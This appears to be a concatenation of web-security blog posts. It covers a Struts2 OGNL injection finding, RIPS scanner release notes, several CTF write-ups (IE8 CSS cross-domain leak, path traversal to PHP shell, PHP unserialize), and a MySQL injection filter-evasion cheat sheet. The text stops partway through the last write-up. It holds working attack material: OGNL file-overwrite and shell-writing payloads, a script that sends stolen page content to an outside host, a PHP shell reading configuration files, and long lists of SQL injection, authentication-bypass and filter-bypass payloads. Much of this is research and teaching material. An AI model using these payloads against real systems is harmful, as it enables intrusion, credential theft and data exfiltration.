Last month I found a weird behaviour in a Java application during a blackbox pentest. The value of a parameter id was reflected to the HTTP response and I was testing for a potential SQLi vulnerability with the following requests (urldecoded) and responses:

Ok that looked promising. SQLi here we go:

Hmm, comments and subselect does not work? Maybe table name missing in MS Access? Defaults did not work. What comment types are available?

No luck, so I started from the beginning:

Wooty? That was really interesting. No DBMS would return null for an unknown column. Obviously a uninitialized variable was parsed here. I even could access another given parameter:

This was a Java app so I tried some more stuff and this one worked to my suprise:

Remote Java code execution? This is not even possible without really dirty tricks (compilation on the fly) I thought. A few hours later I was investigating the Java source code and saw that the application was using Apache Struts 2.2.2.1.

Apache Struts2, XWork and OGNL

Apache Struts2 is a web framework for creating Java web applications. It is using the OpenSymphony XWork and OGNL libraries. By default, XWork’s ParametersInterceptor treats parameter names provided to actions as OGNL expressions. In example the parametername within the request to HelloWorld.action?parametername=1 is evaluated as OGNL expression.
A OGNL (Object Graph Navigation Language) expression is a limited language similar to Java that is tokenized and parsed by the OGNL parser which invokes appropiate Java methods. This allows e.g. convenient access to properties that have a getter/setter method implemented. By providing a parameter like product.id=1 the OGNL parser will call the appropiate setter getProduct().setId(1) in the current action context. OGNL is also able to call abritrary methods, constructors and access context variables.

Apache Struts2 vulnerabilities in the past

To prevent attackers calling arbitrary Java methods within parameters the flag xwork.MethodAccessor.denyMethodExecution is set to true and the SecurityMemberAccess field allowStaticMethodAccess is set to false by default.
Before Struts 2.2.2.1 it was possible to bypass these security flags and execute arbitrary commands within the parameter name. You can find all the details for the Pwnie award winning vulnerability here. Summarized, it was possible to access and change the security flags leaving the attacker with all the power that OGNL comes with. The fix in Struts 2.2.2.1 was to apply a tightened character whitelist to XWork’s ParametersInterceptor, that prevents injecting the hashtag # and the backslash \ (for encoding the hashtag) and therefore prevents the access to the security flags.

acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

The introduced remote code execution worked because it occured during an exception that is triggered when Struts tries to set a property of type Integer or Long with a value of type String. Then the value was evaluated as OGNL expression again – maybe to force an attempt to retrieve a correct data type after evaluation. Since only the parameter names are limited by a character whitelist, arbitrary OGNL and thus arbitrary Java code could be executed.
Unfortunetly for me, the bug had been already reported two month earlier and was fixed (almost silently) in Struts 2.2.3.1. You can find a list of all security bulletings for Struts here. Reason enough to have another look.

New Apache Struts2 vulnerabilities

The first obvious step was to look for code where OGNL expressions supplied by the user are evaluated without the character whitelist applied. This happens in the CookieInterceptor (in all versions below 2.3.1.1) leading to remote code execution when Struts is configured to handle cookies.

The next step was to look if the character whitelist applied to the parameter names is strong enough and what can be done with the available characters. Within parameters everything is handled as getter and setter. However there are two ways to inject own OGNL expressions. The first is to use dynamic function names that are evaluated before execution like in (‘ognl’)(x)=1 or you can use list indexes that are evaluated before used as in x[ognl]=1.
However you can not call arbitrary methods like x[@java.lang.System@exec('calc')]=1 because the security flag for allowStaticMethodAccess is disabled and the character @ (symbolizing static method access in OGNL) is not whitelisted. You can only access setters with only one parameter (the comma , is also not whitelisted) by providing name=foo or x[name('foo')]=1 that will both call the setter setName(‘foo’).

Then we found out you can also call constructors with one parameter with x[new java.lang.String('foo')]=1. This leads to a arbitrary file overwrite vulnerability when calling the FileWriter constructor x[new java.io.FileWriter('test.txt')]=1. To inject the forbidden slash / character into the filename one can use a existent property of type String, in example x[new java.io.FileWriter(message)]=1&message=C:/test.txt. FileWriter will automatically create an empty file or overwrite an existing one.

A detailed description of all vulnerabilities with example code and PoC can be found in our advisory.

Property oriented programming with Java

Sorry for the buzzword But maybe you can already imagine what the idea is. We can call arbitrary constructors and we can call setters. The next step is to look for classes that have malicious constructors (with only one parameter) or malicious setters (with only one parameter) or maybe even both. We can create arbitrary files by calling new java.io.FileWriter(‘test.txt’) but we cannot call java.io.FileWriter(‘test.txt’).write(‘data’) because denyMethodExecution is enabled and OGNL would try to call the setter setWrite(‘data’) on the FileWriter object. However if we find a class that opens a file within its constructor and writes data within a setter we could turn the arbitrary file overwrite vulnerability into a file upload vulnerability.

So I downloaded lots of Apache Commons libraries and wrote some regexes to find interesting gadgets. Useful gadgets would be classes with public constructors having only one parameter:

"/public\s*[A-Za-z]*\s*$classname\s*\(([A-Za-z0-9_]+\s+[^,\s]+|\s*)\)\s*{[^}]*}/"

"/public.*set[A-Za-z0-9_]+\s*\((String|long|int|\s*)\s*[^,]*\)\s*{/"

Example 1

To my suprise I found exactly what I was looking for in the class PrettyPrintWriter shipped with Struts itself:

package org.apache.struts2.interceptor.debugging;

public class PrettyPrintWriter {
 [...]
    // constructors with 3, 2 and 1 parameter
    public PrettyPrintWriter(Writer writer, char[] lineIndenter, String newLine) {
        this.writer = new PrintWriter(writer);
        this.lineIndenter = lineIndenter;
        this.newLine = newLine;
    }

    public PrettyPrintWriter(Writer writer, char[] lineIndenter) {
        this(writer, lineIndenter, "\n");
    }

    public PrettyPrintWriter(Writer writer, String lineIndenter, String newLine) {
        this(writer, lineIndenter.toCharArray(), newLine);
    }

    public PrettyPrintWriter(Writer writer, String lineIndenter) {
        this(writer, lineIndenter.toCharArray());
    }

    // constructor with only one parameter that accepts our FileWriter
    public PrettyPrintWriter(Writer writer) {
        this(writer, new char[]{' ', ' '});
    }

    // setter that will call write() on our FileWriter()
    public void setValue(String text) {
        readyForNewLine = false;
        tagIsEmpty = false;
        finishTag();

        writeText(writer, text);
    }

   protected void writeText(PrintWriter writer, String text) {
        writeText(text);
    }

    // write text to writer object
    private void writeText(String text) {
        int length = text.length();
        for (int i = 0; i < length; i++) {
            char c = text.charAt(i);
            switch (c) {
                case '\0':
                    this.writer.write(NULL);
                    break;            
                [...]
                default:
                    this.writer.write(c);
            }
        }
    }
 [...]
}

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter()]

We use the constructor in line 25 that accepts only one parameter (remember that the comma is not whitelisted) of type Writer (FileWriter is a subclass of Writer):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt'))]=1

This will save our FileWriter object to this.writer (line 7). Now we call the method value on our PrettyPrintWriter object and OGNL will try to call the setter setValue which indeed exists (line 30):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt')).value('data')]=1

The call of setValue will in the end call writeText that will call a write (line 53) with our data to our FileWriter object. Then we could write arbitrary data to arbitrary files, in example uploading a JSP shell.

However that did not work. I thought the problem was that the file was never flushed or closed so I added another trick:

foobar=AAAAAAAA…&x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.BufferedWriter(new java.io.FileWriter('test026.txt'))).value(foobar)]=1

The FileWriter is now wrapped in a BufferedWriter (a direct subclass of Writer). The documentation says that the buffer will be flushed automatically after 8.192 characters. So I tried sending 9.000 characters via HTTP POST to automatically flush the buffer but in the end it still did not work. Later I found out that OGNL did not accept setValue as a valid setter because the property value does not exist in PrettyPrintWriter.

Example 2

There is tons of abusable code within OGNL to execute arbitrary code, you just have to find the right set of public constructors and setters. In example Struts class ContextBean:

package org.apache.struts2.components;

public abstract class ContextBean extends Component {
    protected String var;
    
    public ContextBean(ValueStack stack) {
        super(stack);
    }

    public void setVar(String var) {
        if (var != null) {
            this.var = findString(var);
        }
    }
}

If you can create your own ValueStack object (required in the constructor in line 6 and for OGNL evaluation) you can call the setter setVar (line 10) which is a real setter because the property var exists (line 4). The setter setVar will then call findString (line 12) that in the end will execute a OGNL expression, which can be provided by another parameter value (which is not filtered):

x[new org.apache.struts2.components.ContextBean(new com.opensymphony.xwork2.util.ValueStack()).var(foobar)]=1
&foobar=OGNL expression

The problem in this example is to create a ValueStack with a constructor that has only one parameter to avoid the filtered comma. The class com.opensymphony.xwork2.util.ValueStack itself does not provide such a constructor, however their might be other classes with reduced constructors like in the first example.

You get the idea of “property oriented programming” If you find anything cool please let me know. However note that all new vulnerabilities and the presented techniques are prevented in the new Struts 2.3.1.1 because whitespaces are not whitelisted anymore and you cannot access constructors anymore.

All Struts users should update to Struts 2.3.1.1.

Whats new

A major change is that RIPS now parses PHP code by instructions and not by lines anymore. This is much much more effective and accurate. Parsing code line by line worked out well for the most projects but also introduced a lot of bugs that are now fixed. RIPS is now even able to parse obfuscated PHP code and PHP backdoors.
Also I put a lot of work into the handling of arrays. In detail: [indexes] behind a variable are now removed and added to the variable token seperatly which allows much more accurate semantic parsing of connected tokens. The index value can now be reconstructed recursively and compared to other index values.
Finally RIPS is able to scan large open source projects (non-OOP). A new feature showing the current scan status and the current file that is scanned as well as a approximated timeleft supports this.
A new feature called leakscan is added that is able to detect if the output of a sensitive sink is returned to the user. In example this helps to detect where the result of your SQL Injection is printed or embedded to a header or if you have to use blind SQL Injection techniques.

Whats coming

A new release will ship a lot more documentation what RIPS has actually found and why this is a vulnerability. By now RIPS helps to understand the vulnerability type but a lot of vulnerabilities are very special so that a description for every single sensitive sink makes sense.
The next big step is to implement a initial preparsing phase where functions and their properties are indexed. After this phase all function calls can be interpreted correctly. By now, RIPS still scans top down and misses functions that are called before they are actually declared in the code. With this new structure several bugs regarding securing and quote analysis can be fixed. Then the support of object oriented programming (OOP) code can be added. Also the graphs have to be improved a lot.

Again, if you have any feedback, feature requests, false positives/negatives or code that will make RIPS struggle/hang please contact me.

Happy new year everyone !!!

The Secret Space Code (SSC) database holds a list of all space shuttle captains and their missile launch codes. You have stolen the X-wing Fighter “Incom T-65″ from captain Cardboard and you need the missile launch codes for a crazy joyride. You have heard that the SSC admin (twitter: @secretspacecode) is from redmoon where they only use unpatched Internet Explorer 8 …

hint: Client-side challenges are error-prone. Practice your attack locally before sending a link to the SSC admin via private message.

After we got some metasploit tainted links we added the hint that “client-side” was referred to vulnerabilities like CSRF and XSS and not to client-side stack smashing Otherwise the challenge would not have been filed under the category web.
When visiting the challenge website there was only a password prompt. The first and easy task was – as in many other challenges – to detect the source code file index.phps:

<?php
error_reporting(0);
header('Server: Secret Space Codes');
header('Content-Type: text/html; charset=UTF-8');
header('X-XSS-Protection: 1; mode=block');
session_start();
?>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
	<title>Secret Space Codes - Database</title>
</head>

<body>
<div id="main">
<h1>Secret Space Codes Database</h1>
<?php
require 'config.php';

if(isset($_GET['pass']))
{
	if($_GET['pass'] === $password)
	{
		$_SESSION['logged'] = true;
	} else
	{
		$_SESSION['logged'] = false;
		echo '<p>Wrong password, get lost in space!</p>',"\n";
	}
}

if(isset($_SESSION['logged']) && $_SESSION['logged'] === true)
{
	$conn = mysql_connect($Host, $User, $Password) 
		or die("Error: Can not connect to database. Challenge broken");

	mysql_select_db($Database, $conn) 
		or die("Error: Can not select database. Challenge broken");
		
	$where = '';
	echo '<form action="">',"\n",
	'<table>',"\n",
	'<tr>',"\n",'<td><input type="text" name="captain" value="';
	if(isset($_GET['captain']))
	{
		echo htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
		$captain = str_replace('all', '%', $_GET['captain']);
		$captain = mysql_real_escape_string($captain, $conn);
		$where.= "WHERE captain like '%$captain%' ";
	} else
	{
		echo 'all';
	}
	echo '" /></td>',"\n",'<td><select name="o">';
	if(isset($_GET['o']) && preg_match('/^(ASC|DESC)$/im', $_GET['o']))
	{	
		if(strtolower($_GET['o']) === 'asc')
			echo '<option selected>asc</option>',
			'<option>desc</option>';
		else if(strtolower($_GET['o']) === 'desc')
			echo '<option>asc</option>',
			'<option selected>desc</option>';	
			$where.= "ORDER BY captain ".$_GET['o'];
	} else
	{
		echo '<option>asc</option>',
			'<option>desc</option>';
	}
	echo '</select></td>',"\n",
	'<td><input type="submit" value="search" /></td>',"\n",
	'</tr>',"\n",
	'</table>',"\n",
	'</form>',"\n";
	$result = mysql_query("SELECT captain,code FROM captains $where", $conn);
	echo '<p>Result for captain '.htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
	if(isset($_GET['o'])) 
		echo ' ('.htmlentities($_GET['o'], ENT_QUOTES, 'utf-8').'ending)';
	echo '</p>',"\n",
	'<table>',"\n",
	'<tr><th>captain</th><th>code</th></tr>',"\n";
	if(!mysql_error() && mysql_num_rows($result) > 0)
	{
		for($i=0; $i<mysql_num_rows($result); $i++)
		{
			if(!($row = mysql_fetch_array($result)))
			{
				die("Error. Challenge broken.");
			}
			$captain = htmlentities($row['captain'], ENT_QUOTES, 'utf-8');
			$code = htmlentities($row['code'], ENT_QUOTES, 'utf-8');
			echo "<tr><td>$captain</td><td>$code</td></tr>\n";
		}	
	} else
	{
		echo '<tr><td colspan="2">No codes found.</td></tr>',"\n";
	}
	echo '</table>',"\n";

} else
{
	echo '<form action="" method="GET">',"\n",'<table>',"\n",
	'<tr><th colspan="2">Login</th></tr>',"\n",
	'<tr><td>password:</td><td><input type="password" name="pass" value="" /></td></tr>',"\n",
	'<tr><td colspan="2" align="right"><input type="submit" value="login" /></td></tr>',"\n",
	'</table>',"\n",'</form>',"\n";
}	
?>	
</div>

</body>
</html>

The source code shows that after providing the right password the admin is logged in by session and gets a list of all captains and their codes. He also has the option to search for a specific captain and to order the list by GET parameter o ascending or descending. However there is no SQLi or XSS vulnerability. Everything is escaped and encoded correctly. The password was a 32 character long string and could not be guessed or bruteforced.
Anyway an attacker could steal the secrets knowing that his victim runs IE8. A very cool cross-domain leakage was published by scarybeast in September 2010 that could be used like the following to steal the missile launch codes from all captains:

1. We reflect the following CSS via the GET parameter o:
   

   {}body{font-family:{
   

   
   That is possible because we only need braces that are not encoded by htmlspecialchars() and similar functions. Note that this means that every webapp is vulnerable to this attack as long as braces are not explicitly encoded.
2. We load the webpage with our reflectively injected CSS as CSS resource:
   

   <link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
   

   
   That is possible due to the lax IE8 CSS parsing. The first two braces make sure that every HTML content before our CSS is treated as (broken) CSS. Then our CSS starts where we define everything that follows in the HTML output as the body font-family. Because the IE8 parser will not find an ending brace it will include everything to the font-family until the end of file is reached.
3. Now we have loaded the remote website with the whole content defined as font-family we simply access the currently computed font-family name and get the password protected content, when our victim is logged in and visits our prepared HTML webpage:
   

   <html>
   <head>
   	<link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
   </head>
   <body>
   <script>
   function getStyle() {
   	var html = document.body.currentStyle.fontFamily;
   	//alert(html);
   	document.location.href="http://www.fluxfingers.net/?log="+encodeURIComponent(html);
   }
   window.setTimeout(getStyle, 2000);
   </script>
   </body>
   </html>
   

   
   We also set a timeout in case loading the remote site as CSS resource takes some time.

The code for captain Cardboard was F15-F29-F32-F65-F17-F22. For more information about this attack read scarybeasts blogpost or this paper. Note that this can only be reproduced with an unpatched IE8. Alternatively you can add the prepared HTML page to your trusted zone which will bypass the patch.
As almost expected nobody solved this challenge most likely because the attack has not got much attention. However knowing that it is IE8 specific one could have looked at the recent IE8 patches. Also SSC is backwards for CSS and could have got you in the right direction (scarybeasts blogpost is the second hit when googling “IE8 css security”). Thanks to .mario for bringing this vuln to my attention.

As last year I prepared some web challenges designed in this years topic “space”. The challenge AALabs was about a website of a Asteroid Analysis Laboratory where you could create an account and upload asteroid meta data files for analysis. As a result a graph was shown to the user that summerized the amount of different material detected in that asteroid.

The challenge text was:

You have stolen the administrators password hashes from AALabs – a profitable technology center in outer space. However you were not able to crack them yet. Can you find out the salt?

Similar to last years web challenge you had to use different techniques to get the salt. At first you had to create an account with a unique username, your password and several other info about yourself. The AALabs webapp then internally created the new directory /home/files/username/ to later upload your files to a unique directory. Also the webapp added the user to the database for authentication and file authorization.
After registration you could login and upload your asteroid meta files. Once successfully uploaded, your file was listed in the analysis table with the option to delete the file and to create an analysis report.

Here one could find a SQL injection. By uploading a file named foo‘bar the following SQL error was triggered when creating a report:

Query failed: UPDATE metafiles SET reportfile = ‘/home/files/username/foo‘bar.report’ WHERE id = 7 AND userid = 3

Obviously the file name was escaped correctly when INSERTed into the table of uploaded files. However when creating a report and saving the new report file name (that includes the original file name) the name was not escaped correctly and the error was triggered during the UPDATE statement.
The trick here was to closely look at this error message before trying to exploit the SQL injection. It reveals the behavior that has been described above: the webapp operates with a directory that includes your username. Since it generates your report files in /home/files/username/ with your uploaded file name and the appended .report extension, it is very likely that it also uploads your file to the same directory /home/files/username/. That is safe at the first glance because the directory /home/files/ can not be accessed via webserver and many teams continued to investigate the SQL injection. However the SQL injection itself was a dead end because important characters like parenthesis were filtered. The SQL injection was actually a Information Leakage.
The trick was to register a new account with a Path Traversal in your username such as ../../var/www/Reiners. Doing so forces the webapp to upload your files into the webdirectory /var/www/ and your subdirectory Reiners/. After that you could simply upload your PHP shell to the webdirectory and access it by browser. Since the safe_mode was enabled (we will come back to that later in part 2) you had to use file functions for further investigation, for example:

<?php
// Listing all files in a directory:
print_r(scandir('/var/www/'));
// read the configuration file that includes the salt:
echo file_get_contents('/var/www/config.php');
?>

I omitted the task to use the salt and a given hash to crack the password because I felt this was boring, however it would have added just another technique required to get to the goal. So far for the first task that was worth 200 points. A second task was waiting for the teams that was worth another 300 points and that required to exploit PHP itself and bypass the safe_mode:

Now that you gained access to AALabs it is time to do some further digging to get into their system. However they seem to have a pretty safe configuration running on their webserver. Can you get around it and read the Flag?

A writeup will follow for this task. Unfortunetely only one team (props to bobsleigh) managed to solve the first task. I don’t think that the first task was too hard, however there were two distractions. First of all the SQL error was mostly pointing the teams to a SQL injection filter evasion challenge rather than a simple information leakage. Secondly the path traversal had to exactly point to the webdirectory because the www-data user had only write access to /home/files/ and to /var/www/. I can imagine that some teams tried to traverse only one directory up to see if path traversal is possible but stopped trying after not successfully writing to /home/.
Anyway I hope some teams enjoyed the challenge

Whats new

There has been a couple of bugfixes and improving especially regarding file inclusions which are vital for correct analysis. Also RIPS now tries to analyse SQL queries on quotes before a decision on correct securing is made. However this feature is still not 100% working correctly in all cases.

// safe
$name = mysql_real_escape_string($_GET['name']);
mysql_query("SELECT * FROM users WHERE name = '$name'");

// vulnerable
$id = mysql_real_escape_string($_GET['id']);
mysql_query("SELECT * FROM users WHERE id = $id");

The main new visible features are graphs. Besides the list of all scanned files RIPS now gives a nice overview on how files are connected to eachother, what files accept sources (userinput) and what files have sensitive sinks or vulnerabilities. It also splits the scanned files in main files (blue) and included files (red) so that entry points can be spotted easily.

Also all function calls are visible in a connected graph. Red lines are highlighting the code flow of each vulnerability. With these features it is very easy to spot in which file a vulnerability exists and which functions have to be called to reach the sensitive sink before you actually look at the code.

Another important feature is that code snippets that belong to the same vulnerability are now grouped and titled with the vulnerability category. In earlier versions they were unconnected and one had to jump between several snippets. With this it is now possible to look at specific vulnerability categories and to hide unimportant ones. This can be done by clicking on the categories name in the statistics window that also has been improved with a pie chart (HTML5 for the win ).

Also a new vulnerability type “Unserialize / POP” has been added that allows you to search for unserialize() sinks and interesting POP gadget functions (more info here). For more changes have a look at the changelog.

Whats missing

The main drawback of RIPS is still the missing support of Object-Oriented Programming (OOP). That means that almost all large code projects can not be scanned sufficiently and vulnerabilities will not be detected correctly. RIPS also still has problems with large non-OOP projects with complicated include structures. The new version improves the include strategie a lot, however if the filename is fetched from a database or build over several userdefined functions it is hard to reconstruct a string with static analysis. Also, a big block on my todo-list includes several bugs with the detection of proper and inproper securing that is also hard to detect with static analysis. So RIPS 0.40 remains being a good tool for small to bigger non-OOP apps but fails if you seriously want to scan WordPress or phpBB.

Whats coming

Scanning large OOP apps is still the main goal. After fixing currently known bugs (which are decreasing but finally increasing again every day ) it will be time for implementing basic OOP features. At the same time a complete rewrite is planned to improve development and contain new bugs. Also some basic behavior of RIPS needs to be changed to detect vulnerabilities more correctly. This includes the line-by-line reading which should be replaced by codeblocks and the handling of different data types, especially arrays. There has been some interests lately for a joint development so I am looking forward to how RIPS will evolve.

If you are aware of a bug in the new version or have a feature request please leave a comment or issue a request at sourceforge.

You can extract data more efficiently and thus safe requests and time by using the following techniques:

• extracting data with bit shifting
• extracting data with find_in_set
• extracting data with find_in_set and regexp (also here)
• extracting data through mysql errors
• extracting data through mysql errors (more reliable)

update 24.7.11: I just found out that the neat XML parsing function extractvalue includes invalid XML into error messages and can be used as a side channel for data extraction or conditional errors:

SELECT extractvalue(1,concat(0x2e,(SELECT @@version)));
XPATH syntax error: '5.1.36-community-log'

or
SELECT updatexml(1,concat(0x2e,(SELECT @@version)),1);
XPATH syntax error: '5.1.36-community-log'

If you know any other clever techniques please leave a comment.

Basic filter

Comments
‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

Prefixes
+ – ~ !
‘ or –+2=- -!!!’2

Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′

Strings without quotes
‘abc’ = 0×616263

Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

Typecasting
‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true

Compare operator typecasting
select * from users where ‘a’='b’='c’
select * from users where (‘a’='b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

Authentication bypass ‘-’
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users

Function filter

General function filtering
ascii (97)
load_file/*foo*/(0×616263)

Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36

@@new: 0
@@log_bin: 1

!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4

minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))

Search substrings
locate(‘a’,'abc’)
position(‘a’,'abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,'a’)
substring_index(‘ab’,'b’,1)

Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

Compare strings
strcmp(‘a’,'a’)
mod(‘a’,'a’)
find_in_set(‘a’,'a’)
field(‘a’,'a’)
count(concat(‘a’,'a’))

String length
length()
bit_length()
char_length()
octet_length()
bit_count()

String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)

Keyword filter

Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`

OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-’

OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a'))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a',1,0),0)#

Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’='a’ then 1 [else 0] end
if(‘a’='a’,1,0)
ifnull(nullif(‘a’,'a’),1)

If you have any other useful tricks I forgot to list here please leave a comment.

In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader ‘Jack’ has stolen so far.

In the “Support us” area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:

Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file.

Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the Accept-Language-header your browser sends automatically. You can verify this by sending different header values (I prefer using Live HTTP Headers). In example Accept-Language: es will show the website with spanish text.

The quote shown above also reveals that the website uses language files. Also sending a unsupported language in the header leads to the following error:

Accept-Language: foobar
Language (foobar) not available. Switching to default (en).

We know that the website fetches the text from files. Lets try a path traversal:

Accept-Language: index.php
Language (index.php) not available. Switching to default (en).

Accept-Language: ../index.php
Could not import language data from ‘<?php ..code.. ?>’

Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code.

The source code reveals, that there is a hidden ?id=17 displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack’s gold status so we need to login as ‘Jack’. Lets see how we can accomplish that.

The file worker/funcs.php reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in messages/. Each language file also has to have the serialized variable $secretkey set to “p1r4t3s.k1lly0u” to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.

Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:

<?php
$messages = array("secretkey" => "p1r4t3s.k1lly0u");
echo serialize($messages);
?>

a:1:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";} 

a:1: create array with 1 element
{: array start
s:9:”secretkey”: array key: string with 9 characters
s:15:”p1r4t3s.k1lly0u”: array value: string with 15 characters
}: array end

However we can not directly browse to messages/ because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.

Investigating the object-oriented code in worker/mysql.php shows how the database queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved function __wakeup() and later destroyed with the reserved function __destruct(). One can see that when the function __destruct() is triggered, the function sql_close() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated.

function __destruct()
{
	$this->sql_close();
}

function sql_close()
{
	[...]
	$this->createLog();
	[...]
}

function createLog()
{
	$ip = $this->escape($_SERVER['REMOTE_ADDR']);
